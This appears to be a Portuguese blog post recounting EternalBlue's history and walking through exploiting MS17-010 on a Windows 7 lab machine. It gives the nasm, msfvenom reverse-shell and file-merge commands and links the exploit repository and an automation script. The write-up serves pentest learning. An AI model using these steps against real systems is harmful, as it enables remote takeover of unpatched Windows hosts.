MS17-010 - Eternal Blue - Automatic Script

Eternal Blue e uma breve história. 

2016

13 de agosto de 2016

O grupo Shadow Brokers divulgou uma lista de ferramentas dizendo pertencer a NSA - National Security Agency, TAO - Tailored Access Operation e do Equation Group.

2017

14 de abril de 2017

O grupo Shadow Brokers divulga um framework chamado FUZZBUNCH no qual inclui diversos exploits e malwares para Windows dentre os exploits está o EternalBlue. 

Eternal Blue

É uma vulnerabilidade do windows que causa um buffer overflow através do uso do protocolo SMBv1. O eternalblue pode ser executado de forma remota, isto é, o payload pode ser enviado através do SMBv1 exposto na internet, e pode ser usado em máquinas com arquitetura x86 e x64 com sistema operacional Windows. 

Cenário: Ao realizar um scan com nmap, localizo uma máquina com a porta SMB-445 aberta e, em seguida, executo o conjunto de script NSE do nmap para vulnerabilidades no SMB e identifico que a máquina é vulnerável ao EternalBlue (MS17-010).


Usando o crackmapexec consigo confirmar a versão do S.O. 


Ao pesquisar por um exploit pronto, encontrei no github o repo worawit O processo de exploração da vulnerabilidade EternalBlue requer algumas etapas que eu "automatizei" em um shell script para facilitar. Após clonar o repositório worawit, a primeira etapa é a compilação do shellcode com o nasm

nasm -f bin eternalblue_kshellcode_x86.asm -o scx86.bin

Na segunda etapa é gerado o payload com a configuração para a shell reversa com o msfvenom

msfvenom -p windows/shell_reverse_tcp -f raw -a x86 -o scx86_msf.bin EXITFUNC=thread LHOST=IP LPORT=PORT

O payload final é um merge entre o shellcode gerado na etapa 1 com o executável gerado com o msfvenom

cat scx86.bin scx86_msf.bin > final_sc_x86.bin

Todas essas etapas eu compilei em um shell script disponível no meu repositório do github:

MS17-010-Automatic-x86-exploit.sh 

Para o exploit funcionar foi necessário fazer a execução com python2 e, para não ter conflito de versão, eu criei um ambiente virtual para o python2

virtualenv -p /usr/bin/python2.7 py2

source py2/bin/activate

Vale ressaltar aqui a lista de arquivos que devem estar dentro do mesmo diretório para que o exploit funcione. 

Dentro do diretório chamado shellcode, os seguintes arquivos foram adicionados: 

Arquivos do exploit coletados do repo worawit

eternalblue_kshellcode_x64.asm

eternalblue_kshellcode_x86.asm

Script para execução do exploit coletado do repo worawit:

eternalblue_exploit7.py

Script customizado para automatizar a execução das etapas pré-exploração e execução do exploit:

MS17-010-Automatic-x86-exploit.sh

Diretório do ambiente virtual para uso do Python2

py2

Depois de seguir toda organização do ambiente, basta executar o script MS17-010-Automatic-x86-exploit.sh, conforme as imagens abaixo: 


Shell Reversa



Essa foi a demostração de exploração da vulnerabilidade EternalBlue em uma máquina windows 7. É uma vulnerabilidade antiga mas vale o aprendizado devido ao impacto que causou e todo o contexto histórico como "pano" de fundo da época em que o EternalBlue foi divulgado. 

Referência: 

[+] Risk Sense White Paper Eternal Blue

https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf

[+] Read Docs Crackmapexec

https://ptestmethod.readthedocs.io/en/latest/cme.html

[+] Repositório com o exploit do Eternal Blue (worawit)

https://github.com/worawit/MS17-010

[+] Repositório com o script para automatizar a execução do exploit

https://github.com/carineconstantino/pentest-scripts/tree/main/CVE/MS17-010-Automatic-Script

Comentários

Postagens mais visitadas